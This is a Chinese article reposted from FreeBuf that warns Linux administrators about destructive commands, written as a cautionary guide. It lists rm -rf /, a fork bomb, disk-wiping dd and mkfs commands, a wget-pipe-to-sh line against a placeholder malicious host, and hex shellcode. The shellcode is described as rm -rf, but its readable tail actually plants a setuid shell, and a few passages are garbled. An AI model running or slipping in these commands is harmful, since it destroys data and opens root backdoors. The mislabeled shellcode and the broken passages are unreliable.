运维请注意:”非常危险“的Linux命令大全
转载自:freebuf
Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。
rm –rf
rm –rf是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏,下面给出一些案例:
rm 删除linux下的文件
rm -r 递归删除文件夹,包括空文件夹
rm -f 强制无条件删除只读文件
rm -rf / : 强制无条件删除root目录下所有内容。
rm -rf * : 强制无条件删除当前目录下所有内容。
rm -rf . : 强制无条件删除当前文件夹和子文件夹
综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:
alias rm= ‘rm -i’
这样,在你下次删除东西的时候,它会提醒你到底要删啥。
:( ){:|:&};:
这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。
手贱的同学可以尽管在虚拟机里试试:
:( ){:|:&};:
任意命令 > /dev/sda
这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。
mv 指定的文件夹 /dev/null
这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。
mv /home/user/* /dev/null
上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。
wget http://malicious_source -O- | sh
这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本。
mkfs.ext3 /dev/sda
上面的例子会格式化/dev/sda,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。
任意文件
这个命令可以用来刷掉原文件里的内容,如果你不小心打错了字,输入了诸如下面的命令:
xt.conf
你系统配置文件里的内容可能就会因此被清理掉。
^foo^bar
这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。
buquan.png
dd if=/dev/random of=/dev/sda
dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。
隐藏命令
下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:
char esp[] attribute ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。
运维请注意:”非常危险“的Linux命令大全相关推荐
- Linux学习总结(43)——企业运维最常用的150个Linux命令
一.线上查询及帮助命令 (2 个) man 查看命令帮助,命令的词典,更复杂的还有 info,但不常用. help 查看 Linux 内置命令的帮助,比如 cd 命令. 二.文件和目录操作命令 (18 ...
- python和linux运维学哪个--学习Python在Linux运维上的应用应该看哪些书 什么样的学习路线...
python 元类生成类的方法是什么类型的 首先请一下习惯,python中的类名习惯用大写字母开 我是这样理解的,不一定对,通过type() ,还是实例方法instancemethod 只不过B这个类 ...
- linux运维工程师的要求,合格的Linux运维工程师应该具备的条件有哪些?
今天小编要跟大家分享的文章是关于合格的Linux运维工程师应该具备的条件有哪些?正在从事Linux运维相关工作的小伙伴们来和小编一起看一看吧,希望本篇文章能够对大家有所帮助. 1.良好的责任心 运维人 ...
- 运维基本功(七): Linux的权限管理操作
本文是在课程课件基础上修改的学习笔记 课程原地址:https://www.bilibili.com/video/BV1nW411L7xm 如有侵删 运维基本功(一):Linux系统安装 运维基本功(二 ...
- Linux连接终端模拟器,为Linux运维推荐9款实用的Linux终端模拟器
今天小编要跟大家分享的文章是关于为Linux运维推荐9款Linux终端模拟器.Linux终端模拟器是所有人(包括新手或高级用户)的最佳实用工具之一.它允许您使用Linux系统shell并与之交互.终端 ...
- str045漏洞提权linux,Linux运维知识之CVE-2016-5195 Dirtycow: Linux内核提权漏洞
本文主要向大家介Linux运维知识之CVE-2016-5195 Dirtycow: Linux内核提权漏洞绍了,通过具体的内容向大家展现,希望对大家学习Linux运维知识有所帮助. CVE-2016- ...
- 视频教程-Prometheus+Grafana企业级监控实战(运维篇)2020年视频教程-Linux
Prometheus+Grafana企业级监控实战(运维篇)2020年视频教程 资深DevOps工程师,曾经在华为,乐逗游戏工作,目前就职于知名物流公司工作 希望结合工作实践 给大家带来很多干货 周龙 ...
- linux redhat版本介绍,Linux运维知识之Red Hat Enterprise Linux 各版本详细说明
本文主要向大家介绍了Linux运维知识之Red Hat Enterprise Linux 各版本详细说明,通过具体的内容向大家展现,希望对大家学习Linux运维知识有所帮助. https://acce ...
- 运维基本功(十):Linux计划任务以及进程检测与控制
本文是在课程课件基础上修改的学习笔记 课程原地址:https://www.bilibili.com/video/BV1nW411L7xm 如有侵删 运维基本功(一):Linux系统安装 运维基本功(二 ...
最新文章
- 从摩尔定律到人工智能,指数定律释放人类潜能
- SLAM中大场景下室内外区域的地图管理方法
- iOS 学习记录----动画
- painticon java_新人,关于java的 paintIcon()方法
- 第四周实践项目6 循环双链表应用
- 万字详解,JDK1.8的Lambda、Stream和日期的使用详解
- 不要为框架作过多的假设
- GitHub 开源神器:堪称作业终结者!
- MimeType文件格式速查表
- 如何授权您的Mac播放AppleMusic?
- mysql中为啥只显示一条语句_MySQL 笔记整理(19) --为什么我只查一行的语句,也执行这么慢?...
- HTML+CSS网页设计期末课程大作业:【中国传统文化——古诗词】学生网页设计作品 dreamweaver作业静态HTML网页设计
- 2018 rust卡石头教程_rust地上的石头怎么捡 | 手游网游页游攻略大全
- 最佳 Maya 免费建模插件!
- DC-DC电源芯片的选取和使用要点
- mysql爱吃鱼油_爱多美鱼油_鱼油_维生素_dha_epa_关节炎_高科技_鳕鱼_痛风_止血_改善记忆力_艾多美鱼油_医疗健康_保健品...
- 炒货币赚钱吗 炒数字货币赚钱吗
- 中国社会信任的解体及其结果(zt)
- PHP抓取网络数据的6种常见方法
- 5分钟了解搜索引擎Lucene的原理
热门文章
- linux线程间通信优点,进程间通信与线程间通信【转】
- Java黑皮书课后题第1章:1.4(打印表格)编写程序,显示以下表格
- 移动端布局的5种方式
- 面向对象——案例练习(3)判断两个立方体是否相等
- The underlying provider failed on open 问题解决
- 这短短几行代码价值一万
- C#软件winform程序安装包制作及卸载程序制作
- 海量数据处理分析_BI
- 社会工程学[Social Engineering]
- 3.【练习题】构造方法与重载 定义一个网络用户类,要处理的信息有用户ID、用户密码、email地址。拓展:判断密码长度